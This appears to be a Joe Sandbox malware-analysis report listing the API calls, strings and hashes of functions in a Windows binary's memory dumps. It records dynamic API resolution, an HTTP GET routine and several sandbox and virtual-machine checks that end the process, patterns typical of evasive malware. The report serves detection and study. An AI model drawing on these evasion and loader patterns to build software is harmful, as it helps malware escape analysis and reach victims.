Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 8e0fd0475ec40635d1b827e5e1140223e341750799a386d355e80c8baca360df
Instruction ID: 199b9b0c0a02126d4a22f9ff89cbc96f2f3ac75302b029d01ceef7830a97683f
Opcode Fuzzy Hash: 8e0fd0475ec40635d1b827e5e1140223e341750799a386d355e80c8baca360df
Instruction Fuzzy Hash: 31D05E7490030CDFCB10DFE1DC496EDBBB8FB08311F1405A5D90572340EA305486CAAA

Function 00BF9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,009A5548), ref: 00BF9C2D
GetProcAddress.KERNEL32(77190000,009A5388), ref: 00BF9C45
GetProcAddress.KERNEL32(77190000,009B9068), ref: 00BF9C5E
GetProcAddress.KERNEL32(77190000,009B9038), ref: 00BF9C76
GetProcAddress.KERNEL32(77190000,009B9080), ref: 00BF9C8E
GetProcAddress.KERNEL32(77190000,009BD680), ref: 00BF9CA7
GetProcAddress.KERNEL32(77190000,009AA960), ref: 00BF9CBF
GetProcAddress.KERNEL32(77190000,009BD6C8), ref: 00BF9CD7
GetProcAddress.KERNEL32(77190000,009BD650), ref: 00BF9CF0
GetProcAddress.KERNEL32(77190000,009BD668), ref: 00BF9D08
GetProcAddress.KERNEL32(77190000,009BD788), ref: 00BF9D20
GetProcAddress.KERNEL32(77190000,009A5608), ref: 00BF9D39
GetProcAddress.KERNEL32(77190000,009A55A8), ref: 00BF9D51
GetProcAddress.KERNEL32(77190000,009A5588), ref: 00BF9D69
GetProcAddress.KERNEL32(77190000,009A53E8), ref: 00BF9D82
GetProcAddress.KERNEL32(77190000,009BD740), ref: 00BF9D9A
GetProcAddress.KERNEL32(77190000,009BD6F8), ref: 00BF9DB2
GetProcAddress.KERNEL32(77190000,009AA5F0), ref: 00BF9DCB
GetProcAddress.KERNEL32(77190000,009A5468), ref: 00BF9DE3
GetProcAddress.KERNEL32(77190000,009BD7D0), ref: 00BF9DFB
GetProcAddress.KERNEL32(77190000,009BD710), ref: 00BF9E14
GetProcAddress.KERNEL32(77190000,009BD758), ref: 00BF9E2C
GetProcAddress.KERNEL32(77190000,009BD770), ref: 00BF9E44
GetProcAddress.KERNEL32(77190000,009A55C8), ref: 00BF9E5D
GetProcAddress.KERNEL32(77190000,009BD7B8), ref: 00BF9E75
GetProcAddress.KERNEL32(77190000,009BD698), ref: 00BF9E8D
GetProcAddress.KERNEL32(77190000,009BD7E8), ref: 00BF9EA6
GetProcAddress.KERNEL32(77190000,009BD728), ref: 00BF9EBE
GetProcAddress.KERNEL32(77190000,009BD7A0), ref: 00BF9ED6
GetProcAddress.KERNEL32(77190000,009BD638), ref: 00BF9EEF
GetProcAddress.KERNEL32(77190000,009BD6B0), ref: 00BF9F07
GetProcAddress.KERNEL32(77190000,009BD6E0), ref: 00BF9F1F
GetProcAddress.KERNEL32(77190000,009BD230), ref: 00BF9F38
GetProcAddress.KERNEL32(77190000,009AFDA8), ref: 00BF9F50
GetProcAddress.KERNEL32(77190000,009BD098), ref: 00BF9F68
GetProcAddress.KERNEL32(77190000,009BD0B0), ref: 00BF9F81
GetProcAddress.KERNEL32(77190000,009A5488), ref: 00BF9F99
GetProcAddress.KERNEL32(77190000,009BD1D0), ref: 00BF9FB1
GetProcAddress.KERNEL32(77190000,009A54A8), ref: 00BF9FCA
GetProcAddress.KERNEL32(77190000,009BD290), ref: 00BF9FE2
GetProcAddress.KERNEL32(77190000,009BD128), ref: 00BF9FFA
GetProcAddress.KERNEL32(77190000,009A54C8), ref: 00BFA013
GetProcAddress.KERNEL32(77190000,009A5568), ref: 00BFA02B
LoadLibraryA.KERNEL32(009BD0C8,?,00BF5CA3,00C00AEB,?,?,?,?,?,?,?,?,?,?,00C00AEA,00C00AE3), ref: 00BFA03D
LoadLibraryA.KERNEL32(009BD1E8,?,00BF5CA3,00C00AEB,?,?,?,?,?,?,?,?,?,?,00C00AEA,00C00AE3), ref: 00BFA04E
LoadLibraryA.KERNEL32(009BD2A8,?,00BF5CA3,00C00AEB,?,?,?,?,?,?,?,?,?,?,00C00AEA,00C00AE3), ref: 00BFA060
LoadLibraryA.KERNEL32(009BD110,?,00BF5CA3,00C00AEB,?,?,?,?,?,?,?,?,?,?,00C00AEA,00C00AE3), ref: 00BFA072
LoadLibraryA.KERNEL32(009BD218,?,00BF5CA3,00C00AEB,?,?,?,?,?,?,?,?,?,?,00C00AEA,00C00AE3), ref: 00BFA083
LoadLibraryA.KERNEL32(009BD068,?,00BF5CA3,00C00AEB,?,?,?,?,?,?,?,?,?,?,00C00AEA,00C00AE3), ref: 00BFA095
LoadLibraryA.KERNEL32(009BD050,?,00BF5CA3,00C00AEB,?,?,?,?,?,?,?,?,?,?,00C00AEA,00C00AE3), ref: 00BFA0A7
LoadLibraryA.KERNEL32(009BD320,?,00BF5CA3,00C00AEB,?,?,?,?,?,?,?,?,?,?,00C00AEA,00C00AE3), ref: 00BFA0B8
GetProcAddress.KERNEL32(77040000,009A50A8), ref: 00BFA0DA
GetProcAddress.KERNEL32(77040000,009BD200), ref: 00BFA0F2
GetProcAddress.KERNEL32(77040000,009B8B58), ref: 00BFA10A
GetProcAddress.KERNEL32(77040000,009BD170), ref: 00BFA123
GetProcAddress.KERNEL32(77040000,009A5208), ref: 00BFA13B
GetProcAddress.KERNEL32(74390000,009AA988), ref: 00BFA160
GetProcAddress.KERNEL32(74390000,009A5308), ref: 00BFA179
GetProcAddress.KERNEL32(74390000,009AA640), ref: 00BFA191
GetProcAddress.KERNEL32(74390000,009BD038), ref: 00BFA1A9
GetProcAddress.KERNEL32(74390000,009BD248), ref: 00BFA1C2
GetProcAddress.KERNEL32(74390000,009A5008), ref: 00BFA1DA
GetProcAddress.KERNEL32(74390000,009A5048), ref: 00BFA1F2
GetProcAddress.KERNEL32(74390000,009BD260), ref: 00BFA20B
GetProcAddress.KERNEL32(768D0000,009A50E8), ref: 00BFA22C
GetProcAddress.KERNEL32(768D0000,009A5328), ref: 00BFA244
GetProcAddress.KERNEL32(768D0000,009BD0F8), ref: 00BFA25D
GetProcAddress.KERNEL32(768D0000,009BD080), ref: 00BFA275
GetProcAddress.KERNEL32(768D0000,009A5028), ref: 00BFA28D
GetProcAddress.KERNEL32(75790000,009AA870), ref: 00BFA2B3
GetProcAddress.KERNEL32(75790000,009AA578), ref: 00BFA2CB
GetProcAddress.KERNEL32(75790000,009BD0E0), ref: 00BFA2E3
GetProcAddress.KERNEL32(75790000,009A5068), ref: 00BFA2FC
GetProcAddress.KERNEL32(75790000,009A5168), ref: 00BFA314
GetProcAddress.KERNEL32(75790000,009AA708), ref: 00BFA32C
GetProcAddress.KERNEL32(75A10000,009BD140), ref: 00BFA352
GetProcAddress.KERNEL32(75A10000,009A4FA8), ref: 00BFA36A
GetProcAddress.KERNEL32(75A10000,009B8B68), ref: 00BFA382
GetProcAddress.KERNEL32(75A10000,009BD158), ref: 00BFA39B
GetProcAddress.KERNEL32(75A10000,009BD188), ref: 00BFA3B3
GetProcAddress.KERNEL32(75A10000,009A5108), ref: 00BFA3CB
GetProcAddress.KERNEL32(75A10000,009A5348), ref: 00BFA3E4
GetProcAddress.KERNEL32(75A10000,009BD2D8), ref: 00BFA3FC
GetProcAddress.KERNEL32(75A10000,009BD1A0), ref: 00BFA414
GetProcAddress.KERNEL32(76850000,009A51C8), ref: 00BFA436
GetProcAddress.KERNEL32(76850000,009BD278), ref: 00BFA44E
GetProcAddress.KERNEL32(76850000,009BD2C0), ref: 00BFA466
GetProcAddress.KERNEL32(76850000,009BD2F0), ref: 00BFA47F
GetProcAddress.KERNEL32(76850000,009BD308), ref: 00BFA497
GetProcAddress.KERNEL32(75690000,009A5088), ref: 00BFA4B8
GetProcAddress.KERNEL32(75690000,009A50C8), ref: 00BFA4D1
GetProcAddress.KERNEL32(769C0000,009A5228), ref: 00BFA4F2
GetProcAddress.KERNEL32(769C0000,009BD1B8), ref: 00BFA50A
GetProcAddress.KERNEL32(6F8C0000,009A5288), ref: 00BFA530
GetProcAddress.KERNEL32(6F8C0000,009A5128), ref: 00BFA548
GetProcAddress.KERNEL32(6F8C0000,009A52A8), ref: 00BFA560
GetProcAddress.KERNEL32(6F8C0000,009BD3E0), ref: 00BFA579
GetProcAddress.KERNEL32(6F8C0000,009A4FC8), ref: 00BFA591
GetProcAddress.KERNEL32(6F8C0000,009A52E8), ref: 00BFA5A9
GetProcAddress.KERNEL32(6F8C0000,009A5248), ref: 00BFA5C2
GetProcAddress.KERNEL32(6F8C0000,009A51A8), ref: 00BFA5DA
GetProcAddress.KERNEL32(6F8C0000,InternetSetOptionA), ref: 00BFA5F1
GetProcAddress.KERNEL32(6F8C0000,HttpQueryInfoA), ref: 00BFA607
GetProcAddress.KERNEL32(75D90000,009BD3F8), ref: 00BFA629
GetProcAddress.KERNEL32(75D90000,009B8B08), ref: 00BFA641
GetProcAddress.KERNEL32(75D90000,009BD380), ref: 00BFA659
GetProcAddress.KERNEL32(75D90000,009BD368), ref: 00BFA672
GetProcAddress.KERNEL32(76470000,009A5148), ref: 00BFA693
GetProcAddress.KERNEL32(70220000,009BD398), ref: 00BFA6B4
GetProcAddress.KERNEL32(70220000,009A52C8), ref: 00BFA6CD
GetProcAddress.KERNEL32(70220000,009BD410), ref: 00BFA6E5
GetProcAddress.KERNEL32(70220000,009BD3B0), ref: 00BFA6FD

Strings

InternetSetOptionA, xrefs: 00BFA5E5
HttpQueryInfoA, xrefs: 00BFA5FC

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: c106ee7e8803ea820bd5af3d21aeee13d17223c410d911eaf43bbe51e3424a19
Instruction ID: b45e5102ab6990b658e48f7ed790638235ff5e16168c70f684936f897e69e365
Opcode Fuzzy Hash: c106ee7e8803ea820bd5af3d21aeee13d17223c410d911eaf43bbe51e3424a19
Instruction Fuzzy Hash: 13620FB5500200AFC368DFAAEE8896637F9F74C70171C853BE60AE3264D739944BDB56

Function 00BE6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BE4839
Part of subcall function 00BE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BE4849

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

InternetOpenA.WININET(00C00DFE,00000001,00000000,00000000,00000000), ref: 00BE62E1
StrCmpCA.SHLWAPI(?,009BF440), ref: 00BE6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BE6335
HttpOpenRequestA.WININET(00000000,GET,?,009BEC40,00000000,00000000,00400100,00000000), ref: 00BE6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BE63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BE63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00BE63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00BE646D
InternetCloseHandle.WININET(00000000), ref: 00BE64EF
InternetCloseHandle.WININET(00000000), ref: 00BE64F9
InternetCloseHandle.WININET(00000000), ref: 00BE6503

Strings

ERROR, xrefs: 00BE6407
GET, xrefs: 00BE637C
ERROR, xrefs: 00BE64C9

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 25e97103d7bba24f0aec7038cbebe8aa177eff6267a8b68671eeaf53a46b7024
Instruction ID: c359e3c36ebb0ec669479e648d05a661188dcf3554032e932eff5fc67187f769
Opcode Fuzzy Hash: 25e97103d7bba24f0aec7038cbebe8aa177eff6267a8b68671eeaf53a46b7024
Instruction Fuzzy Hash: FB715E71A00258AFDB24DB95CC49FEEB7B8FB54700F1081A9F6096B1D0DBB46A89CF51

Function 00BF5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BFA820: lstrlen.KERNEL32(00BE4F05,?,?,00BE4F05,00C00DDE), ref: 00BFA82B
Part of subcall function 00BFA820: lstrcpy.KERNEL32(00C00DDE,00000000), ref: 00BFA885

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BF5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BF56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BF5857

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BF51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BF5228

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BF52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BF5318
Part of subcall function 00BF52C0: lstrlen.KERNEL32(00000000), ref: 00BF532F
Part of subcall function 00BF52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00BF5364
Part of subcall function 00BF52C0: lstrlen.KERNEL32(00000000), ref: 00BF5383
Part of subcall function 00BF52C0: lstrlen.KERNEL32(00000000), ref: 00BF53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BF578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BF5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BF5A0C
Sleep.KERNEL32(0000EA60), ref: 00BF5A1B

Strings

ERROR, xrefs: 00BF577D
ERROR, xrefs: 00BF59FE
ERROR, xrefs: 00BF5849
ERROR, xrefs: 00BF5693
ERROR, xrefs: 00BF5636
ERROR, xrefs: 00BF5932

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 2057d934e69efbeb110564f36c51ee843d611dae79b843a1c9a4dcaa7e921311
Instruction ID: 3830a8e1482224399f7f252538ea49926ea7e19a147ba09c054ca90ec0da8f5e
Opcode Fuzzy Hash: 2057d934e69efbeb110564f36c51ee843d611dae79b843a1c9a4dcaa7e921311
Instruction Fuzzy Hash: D0E122B191010C9BCB18FBA4DC56EFD73B8AF54340F5485A8B60A67095EF746E0ECB92

Function 00BF17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00BF17C5
ExitProcess.KERNEL32 ref: 00BF17D1

Strings

block, xrefs: 00BF17B7

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 24fc569659c759c5d399c9a2bf8b2ccf58a930cbe3812c3009ec5c2103a98a72
Instruction ID: dfa26d01bae16557b9273b1194ee2ce6edf3af3841b7593573f7b6fb69a06e03
Opcode Fuzzy Hash: 24fc569659c759c5d399c9a2bf8b2ccf58a930cbe3812c3009ec5c2103a98a72
Instruction Fuzzy Hash: 18514FB4A0020DEFCB18DFA5D994BBE77F5BF44704F108898E60567240D7B0E95ADB62

Function 00BF7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00BF7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BF757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BF7603
RtlAllocateHeap.NTDLL(00000000), ref: 00BF760A
wsprintfA.USER32 ref: 00BF7640

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Strings

C, xrefs: 00BF754C
:, xrefs: 00BF755C
\, xrefs: 00BF7560

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: b8adab5b68116087eaf6587660988c8c6ed52607fe0f955953c74ffe41b3df93
Instruction ID: e76ca349ad980de244a458d865efbb0dfbd3839e69ad0941f9815c52099c8123
Opcode Fuzzy Hash: b8adab5b68116087eaf6587660988c8c6ed52607fe0f955953c74ffe41b3df93
Instruction Fuzzy Hash: F04182B194424CABDF10DB94DC85BEEB7B8EF18700F1400E9F609A7280DB746A48CBA5

Function 00BF69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B15E8), ref: 00BF98A1
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B16F0), ref: 00BF98BA
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B1738), ref: 00BF98D2
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B1588), ref: 00BF98EA
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B16A8), ref: 00BF9903
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B8B38), ref: 00BF991B
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009A55E8), ref: 00BF9933
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009A53A8), ref: 00BF994C
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B1510), ref: 00BF9964
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B14F8), ref: 00BF997C
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B1618), ref: 00BF9995
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B16C0), ref: 00BF99AD
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009A5408), ref: 00BF99C5
Part of subcall function 00BF9860: GetProcAddress.KERNEL32(77190000,009B1630), ref: 00BF99DE

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BE11D0: ExitProcess.KERNEL32 ref: 00BE1211

Part of subcall function 00BE1160: GetSystemInfo.KERNEL32(?), ref: 00BE116A
Part of subcall function 00BE1160: ExitProcess.KERNEL32 ref: 00BE117E

Part of subcall function 00BE1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00BE112B
Part of subcall function 00BE1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00BE1132
Part of subcall function 00BE1110: ExitProcess.KERNEL32 ref: 00BE1143

Part of subcall function 00BE1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00BE123E
Part of subcall function 00BE1220: ExitProcess.KERNEL32 ref: 00BE1294

Part of subcall function 00BF6770: GetUserDefaultLangID.KERNEL32 ref: 00BF6774

Part of subcall function 00BE1190: ExitProcess.KERNEL32 ref: 00BE11C6

Part of subcall function 00BF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BE11B7), ref: 00BF7880
Part of subcall function 00BF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00BF7887
Part of subcall function 00BF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BF789F

Part of subcall function 00BF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BF7910
